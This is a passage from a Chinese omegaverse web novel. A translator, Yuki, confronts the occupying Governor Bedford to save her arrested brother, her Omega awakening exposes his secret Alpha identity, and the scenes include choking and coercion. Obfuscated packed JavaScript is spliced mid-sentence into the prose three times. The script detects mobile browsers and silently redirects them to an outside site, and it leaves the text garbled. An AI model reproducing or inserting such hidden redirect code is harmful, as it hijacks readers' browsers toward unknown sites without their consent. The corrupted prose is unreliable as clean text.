灯光明亮的店铺里,有大人带着小孩一同在逛。 “这家玩具店……竟然能开到这里吗?”尤纪喃喃自语。 麦肯·威尔森淡淡地回答她:“它不是过去的那家玩具店了,现在有50%的股份属于帝国的商人,开到蒂亚中心是很正常的事情。” “怪不得出了好多新的款式。”尤纪道。 小轿车停在一家成衣店门口。 威尔森挑了一条长裙,让尤纪去试衣间里试穿。 它长至脚踝,天鹅绒的面料顺滑而柔软,领口有一层蕾丝,腰部用浅绿色的缎带缝合,裙子下摆不规则地缀着珍珠。 换好衣服后,尤纪提着裙摆,有些紧张地站在威尔森面前。 威尔森凝视了会儿,满意地点了点头。 “很漂亮,尤纪,这条裙子很适合你。再挑一双能搭配的高跟鞋……嗯,头顶再搭配一个发冠。” 威尔森干脆利落地付了款。 那昂贵的价格,尤纪几乎要叫出声来。 这并不是她可以承受得起的价格,连弛不吃不喝三份工作做三年,也买不起这样的裙子。 “没关系,这条裙子就当作是我送你的礼物。不过,我的翻译小姐,”威尔森话锋一转,“就算你喜欢,也不能穿礼服裙去面见大人……这条就很不错,简洁干练,你穿上一定有女翻译的气质了。” 威尔森给她挑了另一条朴素的裙子,再亲自配了款式简单的小皮鞋和珍珠发箍,让尤纪去试衣间换上。 这打消了尤纪最后的顾虑。 在之后的路途里,尤纪和威尔森没有再有过交谈。 他只是沉默地,一根接一根地抽着烟,直到抽完一整盒帝国牌香烟,他摇下车窗,将空的香烟盒子丢到窗外。 尤纪偶尔会悄悄用眼睛打量他,但威尔森一直都看着车窗外,一次都没有看向尤纪。 他的左脸在汽车内置顶灯混杂着窗外路灯的照明下,脸上的细纹清晰可见。 而他的右脸却隐没在黑暗里,彷若与那黑暗融为一体。 小轿车驶入第一街区,在驶往总督署的路口停下来。 威尔森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203730|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出示了证件,而搜检的军人并不放过坐在副驾驶上的尤纪。 “这位小姐,请出示证件。” 麦肯·威尔森发了怒,用并不流利的帝国语回答他:“我是来面见总督的,这位是我的翻译。” 金发的帝国军人仍旧坚持:“翻译小姐也应当有证件。为了总督署的安危,检查证件是必要的行为。” 尤纪与威尔森交换了眼神后,她摇下半扇车窗,从车窗外递出一张A类通行证。 她的心脏怦怦直跳,指尖发着抖——这张通行证并不是她的,而是原本那位翻译小姐的。 “莫迪娜小姐?请将车窗完全打开。” 帝国军人举着一把伞,雨水从他的雨伞边缘漏进窗户内,又滴落到尤纪的手臂上。 威尔森的手不知不觉地覆在了尤纪的手背上。 尤纪从他温热的掌心内汲取了令她安定的力量。 她摇下车窗,强压下不安的心神,直视着金发军人在夜色下的脸。 路灯并不十分明亮,尤纪用非常流利的帝国语回答他:“阁下,我是一名帝国语的翻译,此次是随麦肯·威尔森先生前来向总督汇报科研进展的。我想,我们此前应该有过见面。” 帝国的军人看了看通行证,又看了看尤纪微笑着的脸,最终将通行证还给尤纪。 此时,检查后备箱的军人也回复了一声“没有问题”,他朝卡口处挥了挥手。 小轿车就此通过,一路从巨大的雕花铁门那里开进去,顺畅无阻。 远远地,能看到一座高大的城堡,城堡上方是尖尖的塔顶,顶端竖立着蒂亚女神的雕像。 ——那是以前蒂亚国的皇宫,现在已经被帝国改造成了总督署。 黑压压的夜色里,阴沉沉的雨幕中,蒂亚女神双手捧着的火焰不再燃起。 在从前,不论是白天或是黑夜,女神捧着的火焰永不熄灭。 后来帝国人来了,他们取走了女神的火种,不再让它燃烧。他们妄图摧毁这个国家的信仰。 总督署被持枪的宪兵队所包围。 这是极其严密的安保措施,围墙上架设了铁丝网,大门是沉重的金属门,城堡外的每一个拐角处都有两个全副武装的宪兵站岗。 尤纪一见到这样严密的安保措施,便有些发怵。 仿佛知道她的心中所想,威尔森说道:“以前国王的安保也是这么严密的,现在只是换了一批人而已。” 在帝国宪兵队的监督下,威尔森和尤纪再次接受了一轮检查。 因为知晓麦肯·威尔森的新人类身份,他们也知晓触碰新人类的后脖颈是非常冒犯的行为。 同样地,也就并未对尤纪的后脖颈进行检查。 尤纪并不知道她逃过一劫。 在总督署内部,每一条走廊内都有端着枪巡逻的宪兵队,在经过他们时,他们会停下来,用鹰一样的视线上下扫视。 “安保人员也未免太多了。”尤纪轻声说道。 “现在并不太平,严格一点是很正常的。放宽心,他们不会对你开枪。”威尔森安抚着她,就像是安抚一只胆小的小动物。 威尔森带着尤纪穿过几条走廊,来到一楼的办公室。 办公室中的装潢得很豪华,头顶是漂亮的水晶灯,正对着门的地方有一张红木书桌,背后是整面墙的书柜。 如果访客会等很久,也可以看书打发时间。 即使天气并不冷,壁炉里也燃着炭火。 宽大柔软的绛红色丝绒沙发旁,是一长条玻璃茶几,上面摆着制作精致的点心,还有一瓶帝国本土产的红酒和几个水晶杯。 看到这瓶红酒,尤纪不合时宜地想起了现如今的禁酒令。 威尔森弯下腰,问尤纪:“你想喝茶还是咖啡?”尤纪摆摆手,说自己什么也不需要。 于是,威尔森便递来一叠纸质文件,让尤纪先准备一下。 这里面有手稿,也有打字机打出来的资料,尤纪拿着笔,偶尔翻越字典,在上面作出标记。 这是关于通讯加密技术的科研进度汇报资料,威尔森在资料中提及了变频加密理论,以及他正在研制的一款变频密码机。 尤纪曾辅助过哥哥翻译过相关的文件,这些资料中的专业术语也并不生疏。 想到即将要面见的总督,尤纪又有些坐立不安。 她只能将威尔森的资料一遍又一遍地翻阅,以此来缓解内心的焦躁。 墙壁上挂着的时钟指向了八点整。 钟摆左右摇晃,敲击了八下,钟声回荡在办公室内,可总督仍未到来。 尤纪已经将威尔森所给的内容全部背下,还把要为连弛求情的话语在演练了好几遍。 她要恭敬而卑微,不能指责帝国随便抓人,这十分需要语言的艺术。 终于,在八点半的时候,走廊里传来了脚步声。 尤纪放下手中的资料,从沙发上站起。 办公室沉重的大门被推开了。 尤纪先是看到一双擦拭得锃亮的黑色皮鞋,然后是被西裤裤管服帖地包裹着的双腿。 “把他们抓起来。”她还未抬头,便听见那人开口。 话音刚落,宪兵们争先恐后涌进办公室。 5. 初见总督 尤纪从未想过,与蒂亚区至高无上的掌权者——桑雷斯·贝德福的初次相见,会是如此屈辱、不堪。 宽大的红木书桌后,年轻的男人身穿暗绿色西服,银灰色的长发披散肩头。 他坐在黑色皮革座椅上,面无表情地看着她和威尔森,像是一座大理石雕像。 冰冷、坚硬,铁石心肠。 而尤纪,匍匐在地。 她双臂被反剪,脸颊贴着冰冷的地板。 后脑上,抵着不知何时会发射子弹的枪管。 外面的雨仍旧淅淅沥沥地下着。 空气中,弥漫着一种混合着雪茄、铁锈与某种苦涩植物的气味。 这气味让尤纪后颈的皮肤不由自主地绷紧。 她感到腺体刺痒、呼吸困难。 是什么气味呢? 尤纪的神思随着这样的惊变遨游天外。 真是太奇怪了。 明明她只是随着麦肯·威尔森来进行翻译而已,怎么会连总督的面都未见到,就被抓起来了呢? “威尔森,”桑雷斯·贝德福声音低沉,语速缓慢,“解释一下,为什么我的总督署里,会跪着一个新人类?” 麦肯·威尔森脸色煞白。他自己也是新人类,但总督的质问的是尤纪。 他这次让尤纪来当女翻译,没有在总督署备案,行事称得上是莽撞。 麦肯·威尔森只好磕磕绊绊地解释,全然没有与尤纪见面时的从容和温和。 “总督阁下,我的女翻译生病了,尤纪小姐的母亲以前是我同事,她的帝国语极其优秀,她哥哥连弛是通讯方面的天才,她也精通专业……” “哥哥?”贝德福打断了他。 “哦,你说的人,我有点印象,”他连连弛的名字都不屑于说出来,“一个下水道工人……白天还在维修区干活、晚上就出现在通讯塔爆炸地点的新人类……” 桑雷斯·贝德福从黑色座椅前站起身,双手撑在宽大的红木书桌上。 “蒂亚国立大学通讯系的高材生,毕业论文涉及信号干扰与劫持……然后,就在今早,帝国广播电台被入侵,用的恰恰是论文里构想的技术雏形。 “威尔森,你告诉我,这是一个巧合?” 巧合? 听见这话语,尤纪懵懵懂懂地想着,这确实是一个巧合。她的哥哥亲口说了,他不是反抗军。 连弛隐瞒了一些秘密,但她相信他不会骗她。 但,他是为什么被抓的呢? 麦肯·威尔森冷汗直冒。 他帝国语很差劲,根本听不懂总督的问话。但无论如何,他也能感受到总督平静语气下的怒火。 那份精心准备的汇报资料被扔到威尔森面前。 一片沉默中,总督的怒火并未平息,反倒愈演愈烈。 他用低沉的声音极其缓慢地质问威尔森:“你说要汇报通讯变频密码机的进展,结果,你把一个把重案嫌疑犯的亲妹妹带到我面前。 “其他经过审查的帝国语翻译全都死了吗?通讯技术在哪里都属于秘密,你居然轻易外泄给一个卑贱的新人类? “你是想告诉我,她的专业性无可比拟,足以让你无视种族、无视仇恨,无视兄长被抓的事实来为你翻译?” 猩红色的窗帘紧闭。 空气中,弥漫着一种令人窒息的压迫感。 “威尔森,你告诉我,这是你的忠诚,还是你的愚蠢?或者,是叛变?!” “总督阁下……我……” “扑通”一声,威尔森双膝跪地。 他的虚弱暴露无遗,再也无法说出一个字。 总督没有再说话,连宪兵们都不敢大口呼吸。 只有窗外的风雨声越来越大。 见到威尔森的下跪后,尤纪猛地回过神来。 明明吓得心都快跳出嗓子眼,却又不知为何,有一股力量支撑着她不顾疼痛,挣脱宪兵的钳制。 “阁下!” 在这令人胆寒的寂静中,尤纪颤着声音开口,“我哥哥昨晚一直在肯迪特先生家通下水道,他没有时间去炸通讯塔!他大学肄业,也没有能力去劫持广播信号!” 发音标准、语法正确,确实是很流利的帝国语。 蒂亚区总督表面上那层冷冰冰的平静,终于被真正的愠怒撕裂。 他的目光落在了尤纪脸上。 少女脸色苍白,凌乱的黑发被汗打湿,贴在额角。 和她脆弱的外表截然不同的是,她有一双极为倔强的黑色眼睛。 明明害怕到了极致,却仍旧顶着压力,胆敢直面蒂亚区总督的滔天怒火。 “威尔森先生是好心带我来……您先听我解释……” 她吓得尾音都发颤,更像是一只走投无路,只能在最后关头选择奋力一搏的猎物。 桑雷斯·贝德福轻笑一声。 他绕过书桌,缓缓踱步过来。 锃亮的黑色手工皮鞋踏在地板上,发出沉闷的响声。 那双皮鞋最终停在尤纪的跟前。 随着他的靠近,那股凛冽而苦涩的气息更加浓郁了。 尤纪终于想起来,这是苦艾的味道。 “解释?” 桑雷斯·贝德福缓缓俯身,用戴着黑色皮革手套的手捏起尤纪的下巴。 他的身形比她所见过的所有人类都要高大,完完全全地遮蔽了水晶吊灯的光线。 尤纪被迫仰起头,以一种近乎于屈辱的姿势迎视他。 “你认为你的解释,比我的宪兵审讯队更有说服力?一个贱民,也想影响帝国宪兵的审讯结果?” 他的言语轻蔑极了,毫不客气地将尤纪的尊严踩在脚下。 尤纪感到他的目光正在一寸寸地攫取自己的神智。 她的脸颊、她的身躯因此而发热、发烫。 她大口大口地喘息着,却仍不忘自己此行的目的,说着早已准备好的话。 “连弛若真炸了通讯塔,您该重赏他……毕竟,他是……一个没有体力优势的Beta,却……绕过帝国的安保,炸毁这么重要的设施!” 迎着蒂亚区总督骤冷的视线,尤纪拿出了从未有过的勇气,以及愤怒。 她一字一顿地说:“阁下!您宁愿相信一个Beta能突破帝国的重重防线,也不肯承认自己的军队的无能?” 挑战整个帝国的话语从她的口中说出,桑雷斯·贝德福的怒火反倒奇异地平静下来。 他冷笑着站起身,扔掉了手套,就仿佛刚刚触碰的是一只老鼠。 “你说的这些,我的宪兵队自然会查明。” “不过,新人类,你倒是提醒我了……总督署的安保措施该加强了。” “好的,总督阁下,”尤纪身后的那名宪兵应声回答,“这个新人类该怎么处理?” “这还需要问我么?” “好的,总督阁下。” 背后的宪兵举起枪支,尤纪的头再次被按了下去。 她额头着地,后颈的腺体暴露于空气之中,身体剧烈发抖。 “啊!” 突然间,她口中发出一声短促而痛苦的尖叫。 后颈腺体处,骤然传来一股灼热感,仿佛有什么东西在皮肤底下炸开。 一股清冽的、充满诱惑力的莲花香气,毫无预兆地从她纤细的身体内爆炸开来。 桑雷斯·贝德福正欲离开的身影猛地僵直。 他难以置信地回头,那张冷峻的面孔上,第一次出现清晰的裂痕。 “Omega?” 蒂亚区总督的瞳孔剧烈收缩,呼吸变得粗重。 “宪兵队长呢?你们居然让一个肮脏的Omega进入我的府邸?” 他抄起茶几上那瓶昂贵的帝国牌红酒,狠狠砸向宪兵所在的墙壁。 深红色的酒液泼溅,酒瓶碎裂,玻璃渣飞溅到尤纪的脸上,划出一条血痕。 尤纪并未感到疼痛,这点疼痛对于她所承受的来说,不值一提。 随着皮肤的破损,那股莲花味道的信息素更浓厚了,带着些微铁锈的气味,弥散至办公室的所有角落。 宪兵们一个个面如土色。 “阁下,队长,队长请假了……我们,我们这就把她带走……” 总督的暴怒几乎要将总督署引燃:“所有人,现在,立刻,马上,都给我滚出去!” 威尔森吓得肝胆俱裂,连滚爬爬地离开。 两名宪兵迅速架起尤纪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203731|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “等等……把这个贱民留下,我亲自审问。” 宪兵们如蒙大赦,将尤纪丢在原地,飞快地退出办公室。 沉重的门扉禁紧闭,隔绝了外界。 窗外,雨势渐大。 没有了钳制,尤纪像一头幼兽般蜷缩在地,大口喘息。 后颈腺体灼痛难忍,在苦艾气味的刺激下,她的身体深处涌动着一种陌生的、令她恐惧的虚弱感。 那清冽的莲花香气是她自己的,但现在,连她自己都害怕起来。 电光火石间,尤纪脑中的信息串联起来。 苦艾气味、新人类体征、受到Omega成年分化而突然失控的情绪。 一个惊悚而又合理的推测瞬间成型。 她压下翻涌的生理反应,强迫自己直视总督那双冰蓝色的眼瞳。 “阁下需要抑制剂吗?或者说……您更担心……蒂亚区总督是新人类这个秘密暴露?” 她口中的试探太过尖锐,让桑雷斯·贝德福胸膛不住地起伏。 他死死盯着地上的少女,半晌,突然抬起手,撕开自己的领口,扯下颈侧那片已经歪斜的抑制贴。 他正处于易感期,这贴片是他最后的屏障。 但在Omega成年分化的时刻,强效抑制贴片已然失去了它本该达到的效果。 随着抑制贴的揭开,苦艾味道猛地爆发。 整个办公室的空气,都因这充满侵略性的Alpha信息素而变得粘稠、滚烫。 尤纪错愕地睁大双眼——她知道自己猜对了。 怎么会? 帝国的第二顺位继承人、施行种族隔离政策的蒂亚区总督,居然是他口中称之为“贱民”的新人类? 他居然一个Alpha? 本能的驱动下,尤纪想逃离这个地方。 但她浑身脱力,只能眼睁睁地看着桑雷斯·贝德福朝自己一步步逼近。 终于,高大的身影彻底笼罩了她。 腺体在信息素的刺激下突突狂跳。 尤纪头皮发麻。 桑雷斯·贝德福在她面前蹲下,银灰色的发丝垂落到地面。 “新人类,你叫什么名字?”此时此刻,他的嘴角噙起一丝冷笑。 尤纪已然完完全全的陷入他的信息素内,只能靠着躯体本能躲避他伸过来的手。 但,避无可避。 桑雷斯·贝德福的右手带着滚烫的温度,精准地、不容抗拒地,按向她后颈的腺体。 “告诉我,谁派你来的……” 他的声音沙哑,每一个字、每一次呼吸,都带着灼热的气息,烫得尤纪浑身发抖。 扑面而来的信息素太过浓厚,简直到了无所遁形的地步。 尤纪全身颤抖地抬头。 她看见桑雷斯·贝德福上下滚动的喉结、布满红血丝的双眼。 显然,他和她一样,在同身体本能做最后的抵抗。 “我不知道您在说什么,”尤纪闭上眼睛,喘着气回答他,“我是来证明我哥哥无罪的。” 苦艾的味道有如实质,将尤纪整个人从头到尾包裹在内。 她的莲花香无处可逃。 “那么,不需要等到审讯结果了。你哥哥的尸体,今晚就会出现在绞刑架上。” 在极度的愤怒下,桑雷斯·贝德福转而扼住尤纪的咽喉。 “说!谁派你来的!是我那冷酷的姐姐,还是我那愚蠢的弟弟?!” 他缓缓收紧手中力道,单手将她抵着墙壁举起,额头上青筋毕露。 粗糙的指腹挤压着颈动脉,尤纪面色通红、无法呼吸。 她为连弛做着最后的辩解:“我……哥哥……” “那就和你哥哥一同下地狱吧,该死的新人类。” 忍耐到极限的Alpha咬牙切齿,毫不留情地打断她。 窒息感让尤纪视线模糊。 “那就……一起……下地狱吧。”尤纪从喉间挤出几个字。 她停止挣扎,用尽全力,十指扣住他的后脑,抓着他的长发,将唇齿狠狠撞向他的。 骤然间,一线闪电划破夜空,随之而来的,是一声又一声的惊雷。 大雨倾盆。 6. 总督的秘密 尤纪于一片黑暗里沉沉浮浮。 她觉得自己醒了,但眼皮上像是坠了千斤,无论如何都睁不开眼,只能依稀听见几句对话。 “……激素不稳定……没有检测到被标记……总督阁下,是否需注射伪结合素?” “那个东西有腐蚀性。给她注射长效抑制剂。” “好的,总督阁下。关于麦肯·威尔森……” 对话逐渐远去,在手臂的一阵尖锐刺痛后,尤纪又陷入无尽的黑暗中。 再次醒来已经是两天以后。 窗外正淅淅沥沥地下着小雨——蒂亚的雨季到了,接下来的两个月,总是这样阴雨的天气。 外面的光线照射进室内,尤纪眯着眼睛,一时间不太能适应这样的明亮。 头顶是华丽而精致的床幔,浅米色的绸缎上用金线刺绣,蕾丝与珍珠点缀于其上,在光线下闪烁着柔和的光芒。 这不是那间办公室。 那间办公室里,只有坚硬的红木书桌、冰冷的玻璃茶几、亲肤的丝绒沙发……和触感柔软的长毛地毯。 尤纪忍着身上的酸痛从床上坐起。 被Alpha噬咬过的后颈已经愈合,新长出来皮肤的覆盖了伤口,表面光滑如初——贝德福竟没有标记她。 一想到贝德福总督和那个混乱的夜晚,尤纪的面容陷入悲戚,似哭非笑。 两百年前,一场太阳辐射让地球上的部分人类基因突变,成为有Alpha、Beta、Omega三种主性别的新人类。 帝国因为地理环境,完全没有受到那场辐射的影响。 帝国官方也宣称,他们国家没有新人类,全体人民都是完完全全的人类,是“纯血贵族”。 而实行种族隔离政策的总督桑雷斯·贝德福、帝国皇室第二顺位继承人,不仅是一个新人类,更是一个Alpha男性。 但可惜的是,但他并不健全。 他无法标记Omega,不管是临时还是永久。 通常来说,人类和新人类的结合,是极难诞下孩子的,曾经有学者统计,这个概率是十万分之一。 尤纪猜测,贝德福总督很可能是一个人类和新人类的混血儿。 混血儿在基因融合上存在缺陷,一般在还是个胚胎的时候便会死亡。 就算侥幸地存活,也难以避免或大或小的残疾。奥尔多的跛脚就是一个例子。 所以,桑雷斯·贝德福,他的新人类基因是继承自帝国主君,还是帝国王后呢? 尤纪感到,有一些帝国皇室刻意隐藏的、不为人知的秘密,被她揭开了。 她不知道这个秘密是救命稻草,还是催命符。 她只知道,贝德福没有杀她,只是让人给她注射长效抑制剂,用以避免伪结合素带来的腐蚀——或许,对她这样一个与他有过露水情缘的omega女性,他尚存了一丝怜悯。 正当尤纪思索之时,有一位身穿黑色连衣裙女士走过来。 她大约四十岁,金色长发高高挽起——非常标准的帝国人发色。 金发女士向尤纪微微低头,用并不流利的蒂亚语作出自我介绍。 “小姐,我叫露丝·艾尔,这是总督在蒂亚中心的居所,我是这栋房子的管家。” 女管家将尤纪从头到脚打量了一遍,语气带着一股不难察觉的傲慢。 “请问早餐是在房间里吃,还是去餐厅?小姐,吃完早餐后,总督安排我教导你帝国的礼仪,让你成为一名淑女。” 尤纪自然而然地忽略了她口中关于淑女的话语——自己从来都跟淑女这个词语不搭边。 她打起精神,面无表情地看着女管家,用流利的帝国语回答着:“吃完可以去见总督吗?” 即使被迫与总督有了亲密行为,尤纪也从未忘记她此行的目的。 她无法接受连弛被送上绞刑架,无法想象他被所有人围观,在人生的最后时刻毫无尊严地死去。 事已至此,她不会放过任何一个救连弛的希望。哪怕是渺茫的希望,她也绝不放过。 女管家听到帝国语,愣了一下,随即摇头拒绝:“总督阁下现在正在总督署办公。” 尤纪问道:“那他晚上会回来吗?” “总督工作繁忙,一般在总督署过夜。” 那就是今晚也见不到他了。 尤纪深吸一口气,飞快地做了决定:“就在房间里吃吧,吃完早餐之后我希望见到总督。” 露丝·艾尔皱着眉:“小姐,只有淑女才能够得上高贵的总督。而一位举止优雅的淑女,是无论如何都不会急着想见一名先生的。” “我今天一定要见到他。” 露丝·艾尔拒绝了:“面见总督,需要传召。” 连弛还在牢中,尤纪没有那么多时间坐以待毙。 于是,她尽可能客气地通知露丝·艾尔:“如果没有人带我去总督署的话,我也可以自己散步到那里——反正,我也不是没去过。” 胆敢深入虎穴,只身面对蒂亚区总督,并在他的暴怒中活下来,怎么会是一个安静等待被传召的人呢? 在长达十秒钟的对视后,露丝·艾尔移开眼睛,败下阵来:“我让人去请示总督阁下。” 和女管家的第一次对抗,以尤纪大获全胜落下帷幕。 早餐烟熏三文鱼、熏肉、香肠、煎蛋和烤蘑菇。 主食则是烤得恰到好处得厚切白面包,搭配着帝国黄油和果酱。 牛奶冒着热气,奶香味在房间中四逸。 这是一顿非常丰盛的早餐,但尤纪并没有胃口。她勉强喝了半杯牛奶,桌上的食物一样没动。 露丝·艾尔见状十分不悦:“小姐,浪费食物是可耻的。” “我吃不下东西。” 露丝·艾尔道:“淑女应该保持身体健康。就算没有胃口,也应当适当吃一些主食。” 尤纪沉默地望了她一眼,重新拿起餐叉。 她并未学过多少贵族的礼仪,出于一种报复的心态,她用叉子在瓷盘上划出声音,并用汤匙将碟子磕得叮当响。 女管家的眉头越皱越深,到最后,也只是默不作声地盯着她,什么也没说。 尤纪能想到艾尔会怎么跟其他人闲聊:总督带回来的这位小姐简直就是个村姑,蒂亚蒂亚区的原住民们都是野人。 至少,艾尔说得对。 浪费食物是可耻的,尤其是这么美味的食物。 尤纪抛开曾经的不快,迅速地吃完了一整桌豪华早餐,并在露丝·艾尔愤怒的表情中打了个饱嗝。 房间门口的守卫也带来了尤纪想要的话。 “总督阁下说,他有十五分钟的时间和小姐见面。” 这栋二层的小别墅离总督署大约两公里,背靠群山,远远望去,能看到总督署城堡顶部的那座蒂亚女神的雕塑。 露丝·艾尔拿来了几条漂亮而华丽的裙子让尤纪挑选,但尤纪坚持穿上她原本的那条棉布裙。 这条裙子原本放在麦肯·威尔森的车后座,在那个混乱的夜晚后,这条洗得发白的棉布长裙作为尤纪的私人物品,被一同送到了小别墅中。 她的穿着完完全全就是一个平民,在走出别墅的过程中,又收到了一众帝国佣人的注目礼。 但尤纪不在乎。 她随着露丝·艾尔坐到小轿车的后座,司机是一名身穿红色宪兵制服的年轻帝国人。 这辆小轿车产自帝国,漆面锃亮,内饰豪华,车窗竟不是手动曲柄式的,而是电动车窗。 ——的确是个她从未见过的新鲜玩意儿。 出于某种好奇,或者是故意,她反复按按钮,于是车窗一会儿升起,一会儿降下。 细微的雨丝飘进车内,淋湿尤纪半边肩膀。 但尤纪不在乎。 露丝·艾尔坐在她身侧,一丝不苟的发型被风吹得凌乱。 她一言不发地忍了一路,每每想开口提醒时,尤纪都故意将窗户开得更大。 在到达终点时,尤纪跳下车,轻车熟路地走向总督办公室。 莫大的勇气鼓舞了她,她的脚步堪称轻快。 只要一想到这位“纯血贵族”实际上是一个“卑贱的新人类”,她就觉得好笑。 不,他甚至连“新人类”也算不上。 他无法标记omega,他是个残疾的混血儿。 这真是一个荒诞到十分可笑的秘密。 穿过走廊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203732|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤纪并未敲门,直接拧开门把手,推门而入。 她扫了一眼周围的环境——书桌、茶几、沙发还在原地,不过,之前的长毛地毯换了一张。 银灰色长发的男人坐在书桌后,抬起眼皮看了一眼尤纪。 “是谁允许拾荒的贱民进入我的办公室的?” 对于桑雷斯·贝德福的刻薄,尤纪也不在乎。 她看了一眼自己的裙子,并未觉得有什么不礼貌之处。 尤纪将他的话原原本本地还了回去:“是尊敬的总督阁下,传召我这样一个拾荒的贱民过来的。” 贝德福嗤笑一声,不再理会,只是低头在文件上刷刷地写字。 他的右手边,烟灰缸上,放着一根点燃的雪茄。 尤纪双手交叠,极其有耐心地等待他。 “十五分钟。” 在批阅完一份的文件后,桑雷斯·贝德福停下钢笔。 “总督阁下,请问您的母亲身体可安好?”尤纪深吸一口气,勉强带着笑容地向他走近,在他对面站定。 面对这位残疾的Alpha,她心中涌起一种作为健全人的优越感。 她竟不再感到害怕。 贝德福拿起雪茄深吸一口,没有让尤纪坐下。 他语气冷淡:“我们没有熟悉到可以问候对方父母的程度。尤纪,你只有十五分钟。” 透过袅袅烟雾,尤纪不动声色地观察他。 银灰色的长发折射出冷冰冰的光线。 现在的贝德福高贵、冰冷,不近人情,和那个暴雨夜的他简直判若两人。 “阁下,您并没有标记我——这到底是出自于极强的自控力,还是……您作为一个混血儿的缺陷?” 她直视着他的眼睛,想从他的反应中试探出什么来。 贝德福面不改色,坐姿如常:“没有被标记,让你很失望?” 没想到他完全不接招。 是她猜错了,还是另有隐情?用秘密来威胁贝德福放人,这个策略估计行不通了。 尤纪咬着下唇,手指轻叩桌面,只能开门见山:“完全没有,总督阁下,我敬佩您的自控力。只是您两天前答应过我,会尽快查清真相。” 贝德福丢过来一本薄薄的册子,冷笑了一声:“自己去沙发那里看,禁止打扰我工作。十五分钟后,滚出总督署。” 册子封面写着《通讯塔爆炸案调查报告》。 报告是用帝国语写的手稿,字迹潦草,阅读起来有些难度。 尤纪索性直接翻到了最后一页。 最后一页密密麻麻列了十几个名字,尤纪从中找到了连弛。 时间:符合。路线:符合。 “不可能,他没有去炸毁通讯塔的理由。” 尤纪指着连弛的名字,开口质问,“你们帝国宪兵刑讯队就是这样的水平?抓了十几个人,时间和路线都是符合的,那他们所有人都是罪犯吗?” 忙碌的贝德福总督没有回答尤纪的问题。 他先是打了个电话,又从桌面上几摞文件中翻找出另一本小册子。 那小册子隔空丢过来的时候,差点砸到尤纪的头。 册子上面写着《信号劫持案件初步分析报告》,署名是麦肯·威尔森。 这本册子的内容比帝国宪兵队的调查报告要严谨很多,没有直接列举人名,只是写了几个通讯研究所,但其中一个连弛曾经实习过。 尤纪记得那个研究所。 那时候她才十一岁,连弛还在蒂亚国立大学通讯系读大三,由麦肯·威尔森介绍,去了蒂亚国第二通讯研究所。 研究所外挂着个蒙了厚厚尘埃的金色牌匾,尤纪放学后就去牌匾下等连弛下班。 研究所的所长是个头发花白的老头子,经常笑眯眯地跟尤纪打招呼,把尤纪刚扎好的头发摸得乱糟糟。 她依稀记得所长姓莫尔森,副所长叫米勒,还有位美丽而智慧的大姐姐,但已经记不起她的名字。 后来,他们所有人,上至所长,下到研究助理,都死在了莫比奇河那场战役中。 除了一个名誉研究员,蒂亚国第二通讯研究所无一生还。 而那个名誉研究员,正是麦肯·威尔森。 7. 副官安德烈 想起这些旧事,尤纪情绪低落,视线也渐渐模糊起来。 她咬着牙,用手背抹了眼泪,换了个方向背对书桌,以免让贝德福察觉她的软弱。 正当此时,一位身穿帝国黑色军装的年轻男人推门而入。 他看起来大约二十岁,体型修长,面容英俊。 浓金色的头发衬得整个人像是太阳般热烈,给这沉寂的总督办公室增加了几分亮色。 泪眼朦胧中,尤纪与他的视线猝然相对。 而后,她又低下头, 再次将这份册子逐字逐句地仔细翻看。 “安德烈,你去讲一下她兄长的案件。”贝德福吩咐。 “好的,阁下。” 安德烈彬彬有礼地向总督鞠躬,随后来到沙发旁边。 他并未开口说话,只是从胸口的口袋中拿出一张手帕递给尤纪。 这突如其来的温情让尤纪十分不适应。 她接过安德烈递来的手帕,擦干了眼角的最后一丝泪水,用帝国语轻声道谢。 再次确认了尤纪会帝国语后,安德烈站在沙发边,低声为尤纪讲述关于连弛的案件。 “尤纪小姐,炸通讯塔和信号劫持的指向性是一致的——都是破坏帝国在蒂亚区的统治。 “而连弛先生,他在时间和路线上完全符合炸毁通讯塔的嫌疑……并且,我们从他的房间内搜出来了非常详尽的信号劫持技术手稿以及信号干涉设备…… “这在调查技术学里,称为交叉原则……” 他称呼连弛为“先生”。 帝国人中其实也有不少和平爱好者,在战前,尤纪从报纸上看到过他们抗议的新闻。 她猜想,可能安德烈是其中的一员。 “你是审讯队的吗?为什么知道得这么清楚?”尤纪忍不住问他。 “我只是总督阁下的副官,审讯的结果由我来向总督汇报。” 金发青年摇摇头,声线温和地解释。 他走到柜子旁边,从柜子中找出一张毛毯,搭在肩膀被雨水打湿的尤纪身上。 “小姐,你的肩膀湿透了,小心着凉。以后也请不要淋雨,不论如何,健康的身体应当被放在第一位。” 坐在书桌后的桑雷斯·贝德福抬头看了一眼他们,又换了一份文件,低头批阅。 